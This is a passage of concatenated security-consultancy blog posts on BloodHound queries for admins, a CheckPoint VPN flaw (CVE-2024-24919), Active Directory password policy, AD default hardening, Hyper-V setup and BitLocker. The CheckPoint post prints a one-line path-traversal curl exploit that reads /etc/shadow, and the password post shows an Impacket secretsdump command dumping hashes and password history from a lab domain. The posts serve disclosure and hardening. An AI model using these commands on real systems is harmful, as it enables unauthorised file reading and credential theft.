toInteger(u.pwdlastset)}) AS PwdLastSet ORDER BY u.pwdlastset RETURN DISTINCT Username,PwdLastSet Unused Users The following query outputs active accounts that haven’t changed their password for 5 years and haven’t logged in for 5 years: MATCH (u:User) WHERE u.enabled = true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) and u.lastlogontimestamp < (datetime().epochseconds - (1825 * 86400)) RETURN u.name as Username, datetime({epochSeconds: toInteger(u.pwdlastset)}) as PwdLastSet, datetime({epochSeconds: toInteger(u.lastlogontimestamp)}) as LastUsed order by u.pwdlastset Percentage of Active Users Finally, a query that outputs the percentage of active accounts. This is sometimes helpful to see if there are many “zombie” accounts in AD. // Count the total number of users MATCH (uTotal:User) with count(uTotal) as TotalUsers // Count the enabled users match (uEnabled:User) where uEnabled.enabled with TotalUsers, count(uEnabled) as EnabledUsers return TotalUsers, EnabledUsers, EnabledUsers/(TotalUsers/100.0) as PercentageEnabled Summary As we can see, BloodHound can also be interesting for admins. The queries are just examples. There are many other queries that could be useful depending on the environment. Want to know what an attacker would actually find with BloodHound in your Active Directory? That’s exactly what an Internal IT Infrastructure Penetration Test uncovers. Should you have any further questions about Windows security, feel free to reach out to VidraSec for expert advice! --- ## Exploit CheckPoint vulnerability with one simple command URL: https://www.vidrasec.com/blog/checkpoint-cve/ Description: How to exploit the new vulnerability in the CheckPoint VPN Gateway (CVE-2024-24919)? What information can an attacker extract? This week, a vulnerability in the CheckPoint VPN Gateway (CVE-2024-24919) was disclosed. Unfortunately, CheckPoint has provided us with very little information about the impact of this vulnerability. I want to change that! I will show how the vulnerability can be exploited and what information an attacker can extract. First and foremost, to fix the vulnerability, you need to: Patch the vulnerability. Change the passwords of the accounts in the VPN gateway. Change the passwords of the VPN service accounts in Active Directory. Change all secrets such as the TLS certificate or SSH keys. Ideally, set up your VPN Gateway from scratch. A detailed description from CheckPoint can be found here: https://support.checkpoint.com/results/sk/sk182336 (opens in a new tab) Exploitation and Impact Unfortunately, I found little concrete information on what “potentially confidential information” an attacker “could” extract. Therefore, I looked into it myself. CheckPoint, of course, doesn’t want to show how to exploit the vulnerability. However, since this is already available on the internet, I will show you how it works and what information an attacker can actually extract. Exploit This is one of the simplest exploits I’ve ever seen. I have no idea why it hasn’t been known for longer. The following curl command exploits the vulnerability: curl -k $'https:///clients/MyCRL' -X $'POST' --data-binary $'aCSHELL/../../../../../../../etc/shadow' That’s all. In response, I receive the shadow file back, which contains the admin password as a salted MD5 hash. admin:$1$XXXX$XXXXXX:00000:0:00000:0::: [...] This vulnerability allows me to read any files on the system as root, such as SSH keys or the TLS certificate. Impact As we can see, exploitation is very simple. An attacker could simply go through the entire IPv4 range or search for vulnerable systems on shodan.io (opens in a new tab). I can therefore assume that this vulnerability has been exploited and that the data on this system is no longer confidential. So, as mentioned above: redo everything. This is not about “potentially confidential information” that an attacker “could” extract. These are data that are certainly confidential and have likely been extracted. What should I do now? As a first step, if not already done, follow CheckPoint’s instructions and fix the vulnerability. For the future, I would of course want to recommend an External IT Infrastructure Penetration Test or an audit from VidraSec. Unfortunately, this will not help against 0-day vulnerabilities. How can a pentest or an audit still help with such problems? Just because one system fails, the entire system should not fail. I need to secure my Active Directory behind it, for example, so that even if an attacker can take over the VPN gateway, they cannot gain domain admin rights. This is often referred to as the Swiss cheese model (opens in a new tab). Therefore: 🦦 Contact VidraSec and find vulnerabilities before they are exploited by attackers --- ## Active Directory Password Policy URL: https://www.vidrasec.com/blog/ad-password-policy/ Description: Active Directory password policy: NIST vs Microsoft, VidraSec recommendation (min 10 chars, no complexity, no rotation), Group Policy values. Unfortunately, setting a good password policy for Active Directory is difficult. This is also because there are several best practices that sometimes contradict each other. In this post, I will try to address the various best practices and give my own recommendation. Table of Contents Existing Good Practices NIST Password Guidelines Microsoft Recommendations for Password Policies The VidraSec Recommendation Problems Implementation Summary Existing Good Practices NIST Password Guidelines This guideline is nowadays the quasi-standard and can be found here: https://pages.nist.gov/800-63-3/sp800-63b.html (opens in a new tab) NIST recommends settings for different types of passwords. Normal users in Active Directory usually have a “Memorized Secret”, which they must enter manually at each login. For this type of password, NIST summarizes the following policy (important: SHALL is a bit confusing, but it’s simply a synonym for MUST): Password length at least 8 characters. However, this can be set higher depending on the context. Verifiers SHALL require subscriber-chosen memorized secrets to be at least 8 characters in length. The minimum password length that should be required depends to a large extent on the threat model being addressed. Complexity requirement is not recommended. Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets. Regular password change is not recommended. Verifiers SHOULD NOT require memorized secrets to be changed arbitrarily (e.g., periodically). However, verifiers SHALL force a change if there is evidence of compromise of the authenticator. It actually sounds quite simple. However, there are a few additional requirements: The password must be stored as a salted hash that is resistant to offline attacks. Verifiers SHALL store memorized secrets in a form that is resistant to offline attacks. There must be a blacklist of weak passwords (e.g., “Summer2024”, “aaaaaaaa”). […] verifiers SHALL compare the prospective secrets against a list that contains values known to be commonly-used, expected, or compromised. There must be brute-force protection. Verifiers SHALL implement a rate-limiting mechanism that effectively limits the number of failed authentication attempts that can be made on the subscriber’s account […] Important point: This is a password policy, not a recommendation for secure passwords. Everyone should be free to choose a 50-character long password and change it every 90 days. The idea behind the guideline is that overly strict password policies do not contribute to security but just annoy users and ultimately lead to users becoming creative to circumvent the policy (e.g., appending an exclamation mark to meet the complexity). Length and complexity requirements beyond those recommended here significantly increase the difficulty of memorized secrets and increase user frustration. As a result, users often work around these restrictions in a way that is counterproductive. Furthermore, other mitigations such as blacklists, secure hashed storage, and rate limiting are more effective at preventing modern brute-force attacks. Therefore, no additional complexity requirements are imposed. It would be too simple if we could implement this policy 1:1 in Active Directory. The problems are as follows: Active Directory does not offer secure password hash. The best password hash offered is the NT-Hash (opens in a new tab). NT-Hashes have no salt and are not resistant to offline attacks. An 8 character alphanumeric password can be cracked in minutes. Active Directory does not offer an out-of-the-box solution for a blacklist of insecure passwords. Microsoft Recommendations for Password Policies Unfortunately, Microsoft’s recommendation is a bit confusing and seems contradictory at first glance. The first article you find on this topic is this one: https://learn.microsoft.com/en-us/microsoft-365/admin/misc/password-policy-recommendations?view=o365-worldwide (opens in a new tab) The recommendations in this article are very similar to those in the NIST password policy. The problem: the article refers to M365, not to on-premises Active Directory. Therefore, these recommendations are not really applicable in our case. The recommended password policy for Active Directory can be found here: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/password-policy (opens in a new tab). Or in the articles linked below. The Good Practice summarized looks as follows: Passwords must be changed every 30-90 days (Maximum Password Age). The last 24 passwords are stored (Password History) to prevent the reuse of previous passwords. The password may only be changed once a day (Minimum Password Age) to prevent circumvention of the password policy through repeated changes. Minimum password length of 8 characters (Minimum Password Length). Passwords must be complex, meeting at least 3 out of the 4 complexity classes (Must Meet Complexity Requirements). Passwords must not be stored using reversible encryption. This is a legacy setting that should never be activated. If it is active, passwords are essentially stored in plaintext. This policy contradicts NIST in almost every aspect and is very annoying for users. Applied, it looks like this: C:\Users\alice>net accounts Force user logoff how long after time expires?: Never Minimum password age (days): 1 Maximum password age (days): 90 Minimum password length: 8 Length of password history maintained: 24 Lockout threshold: Never Lockout duration (minutes): 10 Lockout observation window (minutes): 10 Computer role: WORKSTATION The command completed successfully. Therefore, I suggest that we develop our own Good Practice! Of course, there is an XKCD for that (https://xkcd.com/927/ (opens in a new tab)): The VidraSec Recommendation I’m going out on a limb here and offering a specific recommendation. I welcome any feedback and am happy to adapt the recommendation. There are fundamentally two issues that prevent the implementation of the NIST recommendation: Storage of passwords with weak hashing (NT Hash). Use of the password or hash in authentication protocols (NTLM) that are weaker than modern hash functions (argon2, bcrypt). No out-of-the-box solution for blacklists of weak passwords. Multi-factor authentication would be desirable. Let’s consider these points one by one. Problems Offline Storage with Weak Hash (NT Hash) Unfortunately, there is no better hash algorithm available in Windows Active Directory; nothing can be done about this. However, the question is: Can I circumvent the problem by setting a different password policy? NIST clearly states that neither frequent password changes nor complexity requirements lead to better passwords (e.g., “Summer2024!”): Research has shown, however, that users respond in very predictable ways to the requirements imposed by composition rules. For this reason, I would accept this risk. It will unfortunately still take some time before we get a better hash algorithm. A password policy cannot help us here either. Use of Weak Protocols This is a similar issue to the above: a password policy does not help here. I don’t want to go into too much detail, but the following points should definitely be considered: Use Kerberos instead of NTLM where possible. Service accounts and other highly privileged accounts (e.g., Domain Admins) should have their own password policy. Their passwords should be randomly generated and long, and stored in a password manager. Blacklists for Weak Passwords While this is not an out-of-the-box feature, Microsoft now has a solution: https://learn.microsoft.com/en-us/entra/identity/authentication/concept-password-ban-bad-on-premises (opens in a new tab) There are also open-source solutions and third-party solutions. One of these solutions should be implemented to meet NIST’s recommendation. Multi-factor Authentication (MFA) While MFA is not a requirement, it significantly improves security. Therefore, MFA should be implemented on as many internal and external interfaces as possible. In the Active Directory or client environment, Windows Hello for Business (opens in a new tab) can be used. The beauty of Windows Hello is that login on a Windows client, for example, works with a PIN and not with the password set in Active Directory. The advantage is that users theoretically do not need to know their actual password. The password is still used by Windows Hello in the background, but this is transparent to the user. If an attacker somehow obtains the PIN, there is little they can do with it unless they also possess the notebook. Implementation To implement the proposed changes, one typically needs to adjust the Default Domain Policy group policy. The settings can be found under Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy\. Here, we set the following values: Setting New Value Reasoning Maximum password age 0 Passwords do not need to be changed regularly. Minimum password length 10 Depending on the level of protection, this can be set higher or lower. I recommend at least 10, better 12. Password must meet complexity requirements Disabled We do not want to enforce complex passwords. Store passwords using reversible encryption Disabled It is the default setting and prevents passwords from being stored in plaintext. These settings align with the NIST recommendation, with a higher minimum password length due to the weak hash type. The following settings are a bit more controversial and are unfortunately not addressed in the NIST guidelines: Setting New Value Reasoning Minimum password age 0 Allows users to change their password at any time. Enforce password history 0 Completely disables the password history. ⚠️ These two settings actually contradict common good practices [1] (opens in a new tab), [2] (opens in a new tab). However, I have not seen a similar recommendation outside of the Active Directory environment, so I dare to contradict this recommendation. But please think it through yourself! I justify my decision in the following paragraphs. If I want to prevent a user from intentionally setting a weak password, it is better to add the password to my blacklist. The solution with a long password history is not ideal. Password history, however, has an even bigger problem: It stores a huge list of former passwords of users. Even if the old password is no longer active in my system, it could still be used to compromise another account of the user. For an attacker, this information is valuable; for me, it may only provide a slight security gain. Therefore, I believe that password history should be disabled. $ python3 ./secretsdump.py -just-dc-user test -history -k -no-pass vidrasec.lab/bobadmin@dc.vidrasec.lab Impacket v0.12.0.dev1+20240418.131633.ea96b63a - Copyright 2023 Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets vidrasec.lab\test:1111:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657::: vidrasec.lab\test_history0:1111:aad3b435b51404eeaad3b435b51404ee:9e59e0541eb4c6ab1ac978eb512c2a3a::: vidrasec.lab\test_history1:1111:aad3b435b51404eeaad3b435b51404ee:b32272b8729f92d524d3c90f2217c88f::: [...] For an attacker, this is valuable information; for us, however, it only represents a marginal security gain. Therefore, I believe that password history should be disabled. Checking password age, history exposure, and hash reuse like this across every account is a standard part of the Active Directory Audit scope, not something to leave until an incident. Our new password policy therefore looks like this: C:\Users\alice>net accounts Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): Unlimited Minimum password length: 10 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 10 Lockout observation window (minutes): 10 Computer role: PRIMARY The command completed successfully. Summary Some important points to conclude: Specific policies for different user types: The proposed password policy is intended for normal users. For highly privileged accounts and service accounts, a stricter policy should be applied, where regular password changes make sense. Policy activation: A new password policy comes into effect with the next password change. I often see that accounts use old passwords that do not meet current guidelines. Regular reviews necessary: The passwords in Active Directory should be regularly reviewed. Are there accounts using the same hash? Are there highly privileged accounts with very old passwords? What percentage of password hashes can be cracked within a certain period? 🦦 If you’d like your account and password hygiene reviewed against this baseline, that’s exactly what an Active Directory Audit is for. For further questions or interest in a penetration test, as always, just contact me! Contact me here Deciding between an audit and a full penetration test? The Penetration Testing Buyer’s Guide covers how to scope and choose. Posts in this series Active Directory Tiering: Terminal Servers and Helpdesk Active Directory Password Policy Built-in Misconfigurations - Pre-Windows 2000 Compatible Access --- ## Built-in Misconfigurations - Pre-Windows 2000 Compatible Access URL: https://www.vidrasec.com/blog/built-in-insecurities-win2k/ Description: The Pre-Windows 2000 Compatible Access group is a built-in AD misconfiguration. Learn what it is, what risks it poses, and how to harden your AD against it. This is the first part of a series in which we look into default insecure configurations in Active Directory. This part covers the Pre-Windows 2000 Compatible Access group. What is it? What are the risks? And what can we do about it? For this exercise, I set up a brand new preview version of Windows Server 2025 with Active Directory to ensure we have the latest (and hopefully greatest) version. I will then run PingCastle (opens in a new tab) to find misconfigurations and try to fix them. These default settings are common in many environments that haven’t been specifically hardened. If you are overhauling your AD for any reason, it’s crucial to address these vulnerabilities from the start. Posts in this series Active Directory Tiering: Terminal Servers and Helpdesk Active Directory Password Policy Built-in Misconfigurations - Pre-Windows 2000 Compatible Access What is Pre-Windows 2000 Compatible Access? Active Directory as we know it was introduced with Windows 2000. Earlier similar functionality was much more limited. One difference: it was flat, not hierarchical. So everyone could read every attribute of every object. Active Directory limits that. A normal user can no longer read sensitive attributes of other users (for example pwdLastSet). The problem: some applications need that access. So Microsoft introduced the Pre-Windows 2000 Compatible Access group, which grants read access to all attributes of all objects again. They also added Authenticated Users to this group. This is still the default in Windows Server 2025, about 25 years after Windows 2000. What are the risks? PingCastle reports this only as informational. I think that’s too low. If Authenticated Users is not in this group, life gets harder for attackers. One important attribute they can’t read anymore is pwdLastSet. So it’s much harder to find accounts with old or weak passwords. I recommend fixing this. This is exactly the kind of default I check first in an Active Directory Audit: cheap to fix, high impact, and still on by default in most environments I see. But there’s a caveat. This is a default in AD, and some tools depend on it. So don’t change it on a Friday afternoon. In large environments it may be very hard or impossible. You’ll need thorough testing and may have to re-add specific accounts to the group. How to fix it? The fix is simple: remove Authenticated Users from the Pre-Windows 2000 Compatible Access group. At least in an empty lab like mine. In bigger environments you’ll need a lot of testing first (see above). Below: what a normal user can see about another user when Authenticated Users is still in the group (default). PS C:\Users\alice> Get-ADUser bob -Properties * AccountExpirationDate : accountExpires : 9223372036854775807 AccountLockoutTime : AccountNotDelegated : False AllowReversiblePasswordEncryption : False AuthenticationPolicy : {} AuthenticationPolicySilo : {} BadLogonCount : 0 badPasswordTime : 0 badPwdCount : 0 CannotChangePassword : False CanonicalName : vidrasec.lab/Users/bob Certificates : {} City : CN : bob codePage : 0 Company : CompoundIdentitySupported : {} Country : countryCode : 0 Created : 4/19/2024 12:35:21 AM createTimeStamp : 4/19/2024 12:35:21 AM Deleted : Department : Description : DisplayName : bob DistinguishedName : CN=bob,CN=Users,DC=vidrasec,DC=lab Division : DoesNotRequirePreAuth : False dSCorePropagationData : {12/31/1600 4:00:00 PM} EmailAddress : EmployeeID : EmployeeNumber : Enabled : True Fax : GivenName : bob HomeDirectory : HomedirRequired : False HomeDrive : HomePage : HomePhone : Initials : instanceType : 4 isDeleted : KerberosEncryptionType : {} LastBadPasswordAttempt : LastKnownParent : lastLogoff : 0 lastLogon : 0 LastLogonDate : LockedOut : False logonCount : 0 LogonWorkstations : Manager : MemberOf : {} MNSLogonAccount : False MobilePhone : Modified : 4/19/2024 12:35:21 AM modifyTimeStamp : 4/19/2024 12:35:21 AM msDS-User-Account-Control-Computed : 0 Name : bob nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity ObjectCategory : CN=Person,CN=Schema,CN=Configuration,DC=vidrasec,DC=lab ObjectClass : user ObjectGUID : 00045a31-db0a-43a2-81b3-030b71475f3e objectSid : S-1-5-21-3820918346-3820853946-976116511-1105 Office : OfficePhone : Organization : OtherName : PasswordExpired : False PasswordLastSet : 4/19/2024 12:35:21 AM PasswordNeverExpires : False PasswordNotRequired : False POBox : PostalCode : PrimaryGroup : CN=Domain Users,CN=Users,DC=vidrasec,DC=lab primaryGroupID : 513 PrincipalsAllowedToDelegateToAccount : {} ProfilePath : ProtectedFromAccidentalDeletion : False pwdLastSet : 133579857214640950 SamAccountName : bob sAMAccountType : 805306368 ScriptPath : sDRightsEffective : 0 ServicePrincipalNames : {} SID : S-1-5-21-3820918346-3820853946-976116511-1105 SIDHistory : {} SmartcardLogonRequired : False State : StreetAddress : Surname : Title : TrustedForDelegation : False TrustedToAuthForDelegation : False UseDESKeyOnly : False userAccountControl : 512 userCertificate : {} UserPrincipalName : bob@vidrasec.lab uSNChanged : 16438 uSNCreated : 16433 whenChanged : 4/19/2024 12:35:21 AM whenCreated : 4/19/2024 12:35:21 AM After removing all members from the Pre-Windows 2000 Compatible Access group, we could only see very limited information about the user Bob. I actually had to wait for approximately 10 minutes for this change to take effect. This is the output of the Get-ADUser command after the change: PS C:\Users\alice> Get-ADUser bob -Properties * AccountExpirationDate : accountExpires : AccountLockoutTime : AuthenticationPolicy : {} AuthenticationPolicySilo : {} BadLogonCount : CannotChangePassword : False CanonicalName : Certificates : {} City : CN : bob codePage : 0 Company : CompoundIdentitySupported : {} Country : countryCode : 0 Created : Deleted : Department : Description : DisplayName : bob DistinguishedName : CN=bob,CN=Users,DC=vidrasec,DC=lab Division : EmailAddress : EmployeeID : EmployeeNumber : Fax : GivenName : bob HomeDirectory : HomeDrive : HomePage : HomePhone : Initials : instanceType : isDeleted : KerberosEncryptionType : {} LastBadPasswordAttempt : LastKnownParent : LastLogonDate : LogonWorkstations : Manager : MemberOf : {} MobilePhone : Modified : Name : bob nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity ObjectCategory : CN=Person,CN=Schema,CN=Configuration,DC=vidrasec,DC=lab ObjectClass : user ObjectGUID : 00045a31-db0a-43a2-81b3-030b71475f3e objectSid : S-1-5-21-3820918346-3820853946-976116511-1105 Office : OfficePhone : Organization : OtherName : PasswordLastSet : POBox : PostalCode : PrimaryGroup : CN=Domain Users,CN=Users,DC=vidrasec,DC=lab primaryGroupID : 513 PrincipalsAllowedToDelegateToAccount : {} ProfilePath : ProtectedFromAccidentalDeletion : False SamAccountName : bob sAMAccountType : 805306368 ScriptPath : sDRightsEffective : 0 ServicePrincipalNames : {} SID : S-1-5-21-3820918346-3820853946-976116511-1105 SIDHistory : {} State : StreetAddress : Surname : Title : userCertificate : {} UserPrincipalName : bob@vidrasec.lab Conclusion In my view this is a very important hardening step. If you ever rebuild AD from scratch, start here. Early on it’s still easy to do. If you want to read more on this topic, there is a lot of amazing information in this post: Semperis: Security risks of Pre-Windows 2000 compatibility (Windows 2022) (opens in a new tab) I will continue explaining recommended Active Directory hardening measures. If you’d like a full review of defaults like this one across your whole environment, that’s exactly what an Active Directory Audit covers. And whether misconfigurations like this are actually exploitable in your network is what internal infrastructure penetration testing answers. Questions? Just contact me, as always. If you’re weighing whether to bring in outside help for hardening work like this, the Penetration Testing Buyer’s Guide covers how to scope and budget for it. --- ## Improving the Performance of Linux Guests in Hyper-V URL: https://www.vidrasec.com/blog/hyperv/ Description: Find out how to optimize Hyper-V for Linux guests with this guide. Enhance UI responsiveness and achieve performance comparable to VMware. Despite Hyper-V’s impressive performance, its GUI can feel sluggish compared to direct interaction on your host. Finding a solution to this was challenging, as resources were scarce. This post outlines how to configure Hyper-V and Linux virtual machines for a more responsive UI, achieving a performance level comparable to VMware Workstation. Table of Contents Table of Contents Use Case Enabling Enhanced Session Mode Switching Back to Classic Mode Higher Resolutions Clipboard and Shared Folder What Is Missing Conclusion Use Case My use case is perhaps a bit specific. I want to run virtual machines (VMs) directly on my Windows laptop for various reasons: I prefer to install as little software as possible on my Windows laptop. If I need specific software for one use case, I use a VM. I require specific security tools that only run (or run better) on Linux. If I work with customer data, I want to ensure no data is left in some history/cache file after the project is finished. Using a “burner VM” guarantees that. The gold standard for me is VMware Workstation, but given the recent Broadcom controversy, I’m uncertain about the future of this product. Additionally, I’ve encountered many performance issues in the past, and Hyper-V is readily available and free. Therefore, I will use Hyper-V. Alternatives I haven’t tried include Oracle VirtualBox (which I found unsatisfactory long ago) and libvirt (which I was recommended but haven’t tried, I am also not sure how well it works on Windows). Enabling Enhanced Session Mode Installing Kali Linux (this is what I am using) in Hyper-V offers a quite basic experience initially. No copy/paste, no high resolutions. To improve this, run kali-tweaks. There, you can install the prerequisites for “Enhanced Session Mode”: Great, now you can connect using the “Enhanced Session Mode” of Hyper-V. In Hyper-V Manager, select View -> Enhanced Session Mode. If this option is greyed out, you might need to shut down the virtual machine, execute the following command (on the host in PowerShell), and then start the machine again: set-vm "" -EnhancedSessionTransportType HVSocket “Enhanced Session Mode” works with xrdp (opens in a new tab) in the background and offers: Clipboard sharing between host and VM Shared folders and printers Higher resolutions (and easy changes to resolutions) Supposedly better audio (untested) and video performance (which I question, hence this post) From my experience, these features are nice, but as previously mentioned, the video performance seems worse than without “Enhanced Session Mode”, potentially depending on your resolution. I’ve encountered issues. Switching Back to Classic Mode Our plan now is to revert to classic mode (in Hyper-V Manager, untick “Enhanced Session Mode” under View -> Enhanced Session Mode) and manually implement the “Enhanced Session Mode” features. I do not care about audio and printing, so those will not be covered here. Higher Resolutions Classic mode limits resolutions to a maximum of 1920x1200. Owning a monitor with 2560x1440, I naturally want to utilize its full capability. First, we must shut down the Linux machine, then we can set the resolution using PowerShell: Set-VMVideo -VMName -ResolutionType Single -HorizontalResolution 2560 -VerticalResolution 1440 Now, restart the machine and execute the following in bash (adjust for your resolution): cvt 2560 1440 60 # -> calculates the modeline for the command below xrandr --newmode "2560x1440_60.00" 311.83 2560 2744 3024 3488 1440 1441 1444 1490 -HSync +Vsync xrandr --addmode Virtual-1 "2560x1440_60.00" xrandr --output Virtual-1 --mode "2560x1440_60.00" The machine now supports the intended resolution. Remember: these commands need to be executed again after a restart. Clipboard and Shared Folder This aspect is more complex but crucial. I’ve experimented with various solutions and found a working approach. The concept is straightforward: manage the clipboard with a program that: If the clipboard content is changed, the content is written to a file If the file is changed through an external program, the clipboard is updated with the new content Thus, we establish a two-way sync between the file and the clipboard. This file must then be shared between both machines. I use Samba on the Linux machine, avoiding additional installations on my Windows host. This method is effective, but a drawback exists: Windows doesn’t receive notifications of remote Samba share changes. As a workaround, I’ve implemented a check every 5 seconds. While better solutions may exist, this suffices for now. I’ve made this program available on GitHub for anyone interested in forking or contributing: https://github.com/VidraSec/clipboard-monitor (opens in a new tab) Set up and activate Samba on Linux (this guide was helpful: https://ubuntu.com/tutorials/install-and-configure-samba (opens in a new tab)) Access the Samba share from Windows Compile the clipboard-monitor (opens in a new tab) for Linux and Windows Execute the program on both systems, e.g.: clipboard-monitor.exe \\192.168.0.1\shared-folder\clipboard.txt ./clipboard-monitor ~/shared-folder/clipboard.txt The Samba share also facilitates file sharing between the machines, fulfilling the shared folder requirement. Currently, copying files via the clipboard isn’t supported, but this functionality might be added later. For now, file transfers can be conducted through the shared folder. What Is Missing A feature from VMware Workstation I miss is direct VM access to USB devices, such as using a USB WiFi dongle for WiFi hacking with a Hyper-V guest. I have some ideas for implementing this, possibly to be shared in a future post. Conclusion In my view, this setup performs quite well. The UI is highly responsive, and we retain all features of “Enhanced Session Mode”. Moreover, “Enhanced Session Mode” remains an option, allowing for easy reconnection if needed. Additionally, SSH is configured as a fail-safe. This configuration effectively replaces VMware Workstation for me. It is also the lab setup I use to prepare tooling for internal infrastructure penetration testing engagements. --- ## Securing BitLocker: Initial Setup and Defending Against Attacks URL: https://www.vidrasec.com/blog/setup-bitlocker/ Description: We will guide you through setting up BitLocker and also go into some of the potential attacks against BitLocker, offering insights into its security features. Firstly, what exactly is BitLocker? BitLocker is Microsoft’s full disk encryption solution. While there are alternative solutions from other companies, my experience shows that BitLocker is the preferred choice for most organizations today. The reasons are straightforward: it’s included at no additional cost and integrates seamlessly with Active Directory and EntraID. This article will guide you through setting up BitLocker and also go into some of the potential attacks against BitLocker, offering insights into its security features. Table of Contents Table of Contents First check: Am I using BitLocker? Enabling BitLocker But, Is Your System Fully Secure Now? Cold Boot Attack Attack on the TPM itself Direct Memory Access Some Mitigations Kernel DMA Protection Virtualization Based Security (VBS) BIOS/UEFI Password Pre-Boot Authentication Settings to Configure Enabling Pre-Boot Authentication Summary First check: Am I using BitLocker? Determining whether you’re using BitLocker is straightforward. Simply open This PC in File Explorer, where you’ll see your drives listed. If your drives display a little lock symbol, as shown in the figure below, then BitLocker should be active on your system. However, don’t stop reading just yet, it’s not quite that simple. You can also verify BitLocker’s status through the Control Panel by navigating to BitLocker Drive Encryption/Manage BitLocker. Alternatively, use this PowerShell command: (New-Object -ComObject Shell.Application).NameSpace('C:').Self.ExtendedProperty('System.Volume.BitLockerProtection') A result of 1 indicates that the drive is Encrypted. But why is it crucial to have BitLocker enabled? Without it, anyone with physical access to your computer, such as a thief, could easily remove the hard drive and access its data. Another method to access your data is by booting the computer from a USB drive and reading the disk contents directly. To illustrate how simple this attack can be, I’ve created a short video: If your drive is not encrypted, you should take immediate action. This involves either enabling BitLocker yourself or consulting with your system administrators about it. Enabling BitLocker Activating BitLocker on a machine you manage yourself is relatively straightforward. Simply navigate to BitLocker Drive Encryption in the Control Panel and click on “Enable.” The wizard that follows is intuitive. It’s very important that in the end you securely back up your recovery key. The most efficient method I’ve found is to print the key to a PDF and then securely store it. Considering BitLocker’s system integrity checks, this recovery key becomes indispensable. Such checks could trigger a lockout upon updates to your BIOS/UEFI or changes in hardware configuration. Hence, keeping this key in a secure location, such as a password manager, is crucial for system recovery. But, Is Your System Fully Secure Now? By enabling BitLocker without pre-boot authentication, your computer will boot as usual. The TPM chip embedded in your motherboard conducts a verification to ensure your hardware has not been altered and that the system booting is indeed your Windows. If this verification is successful, it releases the encryption keys, allowing Windows to decrypt your data without the need for a password (aside from your Windows login password). This process, while seemingly magical, is a robust security measure. It effectively prevents attackers from utilizing your hard drive on another PC or booting from an alternative operating system. So, are we done now? Sadly not yet. There are still several possible attacks. For those interested in understanding these vulnerabilities from the perspective of an attacker, the following videos detail these attacks comprehensively. Cold Boot Attack Attack on the TPM itself Direct Memory Access Some Mitigations To enhance your system’s security, consider applying the following additional settings: Kernel DMA Protection Thunderbolt-connected devices have the capability to perform direct memory access (DMA), posing a risk that an attacker could manipulate memory directly to bypass the logon screen, even if it’s locked. To mitigate this risk, it’s recommended to enable Kernel DMA Protection (opens in a new tab). This setting ensures that unknown devices can only be connected when the screen is unlocked, thereby preventing attackers from exploiting this vulnerability to circumvent the lock screen. Enabling this feature requires activating virtualization technology in your BIOS/UEFI, typically referred to as Intel VT-d or AMD VT-d. You can verify if Kernel DMA Protection is enabled on your system by running msinfo32.exe and checking for the Kernel DMA Protection entry, which should be set to On. Virtualization Based Security (VBS) While Kernel DMA Protection offers a safeguard against Thunderbolt devices, it does not extend protection to potential attacks through PCI Express devices. Even if your laptop lacks a PCI Express slot, it likely includes an M.2 slot, which could be exploited for direct memory access. Further details on Direct Memory Access attacks are available in the video mentioned above. To defend against these and other sophisticated attacks, enabling Virtualization Based Security (VBS) is recommended. The activation process mirrors that of Kernel DMA Protection, requiring the enabling of virtualization technology in your BIOS/UEFI settings. The status of VBS can be verified by running msinfo32.exe just as with Kernel DMA Protection. BIOS/UEFI Password Implementing the above security measures necessitates hardware support, which can be easily disabled through the BIOS/UEFI settings. To prevent unauthorized alterations, setting a BIOS/UEFI password is crucial. This ensures that the enhanced security configurations remain intact and protected from tampering. Pre-Boot Authentication While the features discussed previously are valuable and should be enabled, they only augment a solution that isn’t perfect on its own. BitLocker, when set up without pre-boot authentication, offers superb user-friendliness and is likely sufficient for the average user. Indeed, this is my go-to setup for friends and family. However, for machines handling sensitive information, pre-boot authentication is indispensable. I am not aware of any method to bypass pre-boot authentication, so if a device equipped with it is stolen, the data remains secure. Unfortunately, enabling it isn’t straightforward. Let me guide you through the process. Enabling pre-boot authentication via the user interface directly is not possible to my knowledge. Instead, group policies must be edited. On self-managed machines, open gpedit.msc (use Windows + R). Navigate to the following path: Computer Configuration -> Administrative Templates -> Windows Components -> BitLocker Drive Encryption -> Operating System Drives Settings to Configure Require Additional Authentication at Startup Ensure Allow BitLocker without a compatible TPM is disabled. BitLocker’s full potential is unlocked with a TPM, which is present in almost all modern computers. Although BitLocker can function without a TPM, its security features are significantly reduced. Set Configure TPM startup PIN to required. This mandates (and actually allows) the use of pre-boot authentication. Allow Enhanced PINs for Startup Enable this setting to allow PINs that include characters beyond numbers, enhancing the complexity and security of your PIN. Enabling Pre-Boot Authentication This part can be a bit tricky. While there are methods to change the authentication mode, I’ve found that the simplest approach is to disable and then re-enable BitLocker via the GUI (search for Manage BitLocker in the start menu). Upon reactivation, you should be prompted to create a PIN. Remember, this action changes your recovery key. Securely store the new recovery key and appropriately dispose of or mark the old one as obsolete. Congratulations, your device is now secured with BitLocker and pre-boot authentication! Summary To wrap up this comprehensive guide, here are the key security measures you should implement: Activate BitLocker for disk encryption. Use pre-boot authentication on devices handling sensitive information. Set a BIOS/UEFI password to secure your hardware settings. Enable Virtualization Based Security for enhanced protection. While it may seem daunting, these steps are straightforward and significantly bolster your Windows security. Client hardening like this is one of the areas reviewed in an internal penetration test. Should you have any further questions on BitLocker or Windows security, feel free to reach out to VidraSec for expert advice! --- ## About URL: https://www.vidrasec.com/about/ Description: About VidraSec and Martin Grottenthaler: IT security consulting since 2017, focus on Windows, Active Directory, EntraID. Talks at Troopers, IT-SECX, Hacktivity. VidraSec was founded in 2024 by me, Martin Grottenthaler. I have worked full-time in IT security consulting since 2017. My focus is on Windows, Active Directory and Entra ID security, as well as the security of internal systems. Every VidraSec engagement is run by me personally: I scope the work, test your systems, write the report, and lead the debrief. There are no account managers, delivery teams, or junior substitutions. If you want to understand why I built VidraSec around that single-operator model, the comparison 